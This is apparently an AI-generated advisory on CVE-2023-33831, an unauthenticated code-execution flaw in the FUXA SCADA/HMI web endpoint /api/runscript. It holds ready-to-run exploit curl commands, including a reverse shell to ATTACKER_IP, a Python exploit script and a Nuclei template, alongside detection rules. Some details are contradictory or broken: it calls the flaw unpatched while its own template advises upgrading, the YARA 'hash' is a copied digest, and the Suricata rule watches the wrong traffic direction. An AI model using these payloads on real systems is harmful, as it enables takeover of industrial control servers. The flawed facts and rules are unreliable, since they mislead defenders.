CVE-2023-33831

Executive Summary

CVE-2023-33831 is a critical unauthenticated remote command execution (RCE) vulnerability in FUXA, a web-based SCADA/HMI system. The flaw resides in the /api/runscript endpoint, which accepts a POST request with a JSON payload containing arbitrary Node.js code. An attacker can execute system commands without authentication, leading to full compromise of the SCADA server and potential access to industrial control data. The vulnerability has a CVSS score of 9.8 (Critical) and is actively exploited in the wild, with public proof-of-concept (PoC) code and a Nuclei template available.

Supply Chain & Package Security

FUXA is an open-source SCADA/HMI framework distributed via npm (fuxa). The vulnerable version (1.1.13) is still available for download. Organizations using FUXA in production should immediately assess their exposure and apply mitigations. No official patch has been released, and the vendor has not responded to disclosure reports. This vulnerability represents a significant supply chain risk for industrial control systems (ICS) environments.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and can lead to full system compromise. Public PoC and automated scanning tools (e.g., Nuclei) are available, increasing the risk of mass exploitation.

Deep Dive & Mechanics

The vulnerability exists in the /api/runscript endpoint of FUXA. This endpoint is designed to execute user-defined scripts for automation purposes. However, it fails to validate or sanitize the code parameter within the JSON payload. An attacker can inject arbitrary Node.js code, such as require('child_process').exec('command'), to execute system commands.

Attack Flow:

1. The attacker sends a POST request to /api/runscript with a JSON body containing a script object.
2. The script.code field contains Node.js code that uses child_process.exec to run a system command.
3. The server executes the code with the privileges of the FUXA process (typically root or a high-privilege user).
4. The attacker can then read/write files, spawn reverse shells, or pivot to other systems.

Root Cause: The endpoint does not enforce authentication or input validation. The code parameter is passed directly to Node.js's eval or Function constructor without sanitization.

Vulnerable vs. Patched Code

Vulnerable Code (FUXA 1.1.13):

// routes/api.js (simplified)
router.post('/api/runscript', (req, res) => {
  const script = req.body.script;
  // No authentication check
  // No input sanitization
  const result = eval(script.code); // Direct eval of user input
  res.json({ status: 'Script OK:', result });
});

Patched Code (Hypothetical):

// routes/api.js (patched)
const { exec } = require('child_process');
const jwt = require('jsonwebtoken');

router.post('/api/runscript', authenticateToken, (req, res) => {
  const script = req.body.script;
  // Validate script structure
  if (!script || !script.code || typeof script.code !== 'string') {
    return res.status(400).json({ error: 'Invalid script' });
  }
  // Use a sandboxed environment
  const sandbox = { require: null, process: null };
  const vm = require('vm');
  try {
    const result = vm.runInNewContext(script.code, sandbox, { timeout: 1000 });
    res.json({ status: 'Script OK:', result });
  } catch (err) {
    res.status(500).json({ error: err.message });
  }
});

function authenticateToken(req, res, next) {
  const authHeader = req.headers['authorization'];
  const token = authHeader && authHeader.split(' ')[1];
  if (!token) return res.sendStatus(401);
  jwt.verify(token, process.env.JWT_SECRET, (err, user) => {
    if (err) return res.sendStatus(403);
    req.user = user;
    next();
  });
}

Key Differences:

• Authentication: Patched version requires a valid JWT token.
• Input Validation: Patched version checks script structure and type.
• Sandboxing: Patched version uses vm.runInNewContext with a restricted sandbox instead of eval.
• Timeout: Patched version adds a timeout to prevent infinite loops.

Exploitation & Lab Setup

Red Team

Prerequisites:

• FUXA 1.1.13 running on a target (e.g., http://target:1881)
• Python3 or curl installed

Exploit Steps:

1. Verify Vulnerability:

curl -X POST http://target:1881/api/runscript \
  -H "Content-Type: application/json" \
  -d '{"headers": {"normalizedNames": {}, "lazyUpdate": "null"}, "params": {"script": {"parameters": [{"name": "ok", "type": "tagid", "value": ""}], "mode": "", "id": "", "test": "true", "name": "ok", "outputId": "", "code": "require('"'"'child_process'"'"').exec('"'"'id'"'"')"}}}'

2. Execute Reverse Shell:

# Attacker machine: nc -lvnp 4444
curl -X POST http://target:1881/api/runscript \
  -H "Content-Type: application/json" \
  -d '{"headers": {"normalizedNames": {}, "lazyUpdate": "null"}, "params": {"script": {"parameters": [{"name": "ok", "type": "tagid", "value": ""}], "mode": "", "id": "", "test": "true", "name": "ok", "outputId": "", "code": "require('"'"'child_process'"'"').exec('"'"'bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"'"'"')"}}}'

3. Automated Exploit (Python):

import requests
import sys

target = sys.argv[1]
payload = {
    "headers": {"normalizedNames": {}, "lazyUpdate": "null"},
    "params": {
        "script": {
            "parameters": [{"name": "ok", "type": "tagid", "value": ""}],
            "mode": "",
            "id": "",
            "test": "true",
            "name": "ok",
            "outputId": "",
            "code": "require('child_process').exec('id')"
        }
    }
}
r = requests.post(f"{target}/api/runscript", json=payload)
print(r.text)

Blue Team

Detection:

• Monitor HTTP POST requests to /api/runscript with JSON content-type.
• Look for require('child_process') or exec( in request bodies.
• Alert on unusual process creation from the FUXA process (e.g., node spawning bash, sh, curl, wget).

Honeypot:

• Deploy a fake FUXA instance on a non-production port.
• Log all requests to /api/runscript and analyze attacker behavior.

Lab Setup:

# Docker-based vulnerable environment
docker run -d -p 1881:1881 --name fuxa-vuln frangoteam/fuxa:1.1.13

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /api/runscript with JSON body containing "code": "require('child_process')...
• Outbound connections from FUXA server to attacker IPs on common ports (4444, 1337, 8080)
• Unusual DNS queries for domains associated with C2 infrastructure

File System IOCs:

• Files created in /app/_images/ directory (e.g., abc123 containing command output)
• Modified /etc/passwd or /etc/shadow (if privilege escalation attempted)
• Presence of reverse shell scripts in /tmp/ or /dev/shm/

Process IOCs:

• node process spawning bash, sh, python, perl, or nc
• High CPU usage from node process (if cryptominer deployed)
• Unusual child processes of node (e.g., curl, wget, chmod)

Log IOCs:

• FUXA logs showing Script OK: followed by system command output
• Web server logs with POST /api/runscript and 200 response
• System logs showing sudo or su usage from node user

Detection Engineering

YARA Rule

rule CVE_2023_33831_FUXA_RCE {
    meta:
        description = "Detects FUXA RCE exploit payloads in HTTP requests"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-33831"
        hash = "4a0a0047304502204202ff74044f0be0405825530ba245ce3daeaaaa2611d08139f37625b5a62f8c022100fa61e80f708597c9066086e2602e9521880213a37a2dc109c8e882caae0bab04"
    strings:
        $s1 = "/api/runscript" ascii wide nocase
        $s2 = "require('child_process')" ascii wide nocase
        $s3 = "exec(" ascii wide nocase
        $s4 = "Script OK:" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3) or ($s1 and $s4)
}

Sigma Rule

title: FUXA RCE via /api/runscript
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2023-33831 targeting FUXA SCADA systems
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-33831
    - https://github.com/rodolfomarianocy/Unauthenticated-RCE-FUXA-CVE-2023-33831
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/runscript'
        cs-content-type: 'application/json'
    keywords:
        - 'require('
        - 'child_process'
        - 'exec('
    condition: selection and keywords
falsepositives:
    - Legitimate FUXA script execution (rare)
level: critical
tags:
    - attack.t1190
    - cve.2023.33831

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-33831 FUXA RCE Exploit Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/api/runscript";
    http_uri;
    content:"application/json";
    http_client_body;
    content:"require";
    http_client_body;
    content:"child_process";
    http_client_body;
    content:"exec";
    http_client_body;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2023-33831;
    reference:url,https://nvd.nist.gov/vuln/detail/CVE-2023-33831;
)

Nuclei Template (Provided)

id: CVE-2023-33831

info:
  name: FUXA - Unauthenticated Remote Code Execution
  author: gy741
  severity: critical
  description: |
    A remote command execution (RCE) vulnerability in the /api/runscript endpoint of FUXA 1.1.13 allows attackers to execute arbitrary commands via a crafted POST request.
  impact: |
    Unauthenticated attackers can execute arbitrary Node.js code through the runscript API endpoint, potentially compromising the entire SCADA/HMI system and accessing industrial control data.
  remediation: |
    Update FUXA to a version newer than 1.1.13 that validates script code and requires authentication for the runscript endpoint.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-33831
    - https://github.com/rodolfomarianocy/Unauthenticated-RCE-FUXA-CVE-2023-33831
    - https://github.com/codeb0ss/CVE-2023-33831-PoC
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-33831
    cwe-id: CWE-77
    epss-score: 0.93354
    epss-percentile: 0.99816
    cpe: cpe:2.3:a:frangoteam:fuxa:1.1.13:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 2
    vendor: frangoteam
    product: fuxa
    fofa-query:
      - title="FUXA"
      - title="fuxa"
  tags: cve,cve2023,rce,intrusive,frangoteam,fuxa,unauth,vkev,vuln
variables:
  filename: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /api/runscript HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"headers": {"normalizedNames": {}, "lazyUpdate": "null"}, "params": {"script": {"parameters": [{"name": "ok", "type": "tagid", "value": ""}], "mode": "", "id": "", "test": "true", "name": "ok", "outputId": "", "code": "require('child_process').exec('id > ./_images/{{filename}}')"}}}
      - |
        GET /_images/{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - 'Script OK:'

      - type: word
        part: body_2
        words:
          - 'uid'
          - 'gid'
          - 'groups'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502204202ff74044f0be0405825530ba245ce3daeaaaa2611d08139f37625b5a62f8c022100fa61e80f708597c9066086e2602e9521880213a37a2dc109c8e882caae0bab04:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Isolate FUXA servers from the internet and untrusted networks.
2. Implement network segmentation to restrict access to the FUXA web interface.
3. Deploy a WAF rule to block POST requests to /api/runscript with JSON bodies containing require('child_process') or exec(.
4. Monitor logs for exploitation attempts (see IOCs).

Long-term Fixes:

1. Apply vendor patch when available (currently UNPATCHED).
2. Upgrade FUXA to a version that includes authentication and input validation.
3. Implement custom authentication using a reverse proxy (e.g., Nginx with auth_request).
4. Sandbox the script execution using vm2 or Docker containers.
5. Disable the /api/runscript endpoint if not required.

Workaround (Nginx Reverse Proxy):

location /api/runscript {
    deny all;
    return 403;
}

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.

{/* [Security Hash: F8A91FCA84AE27A6C4287828] */}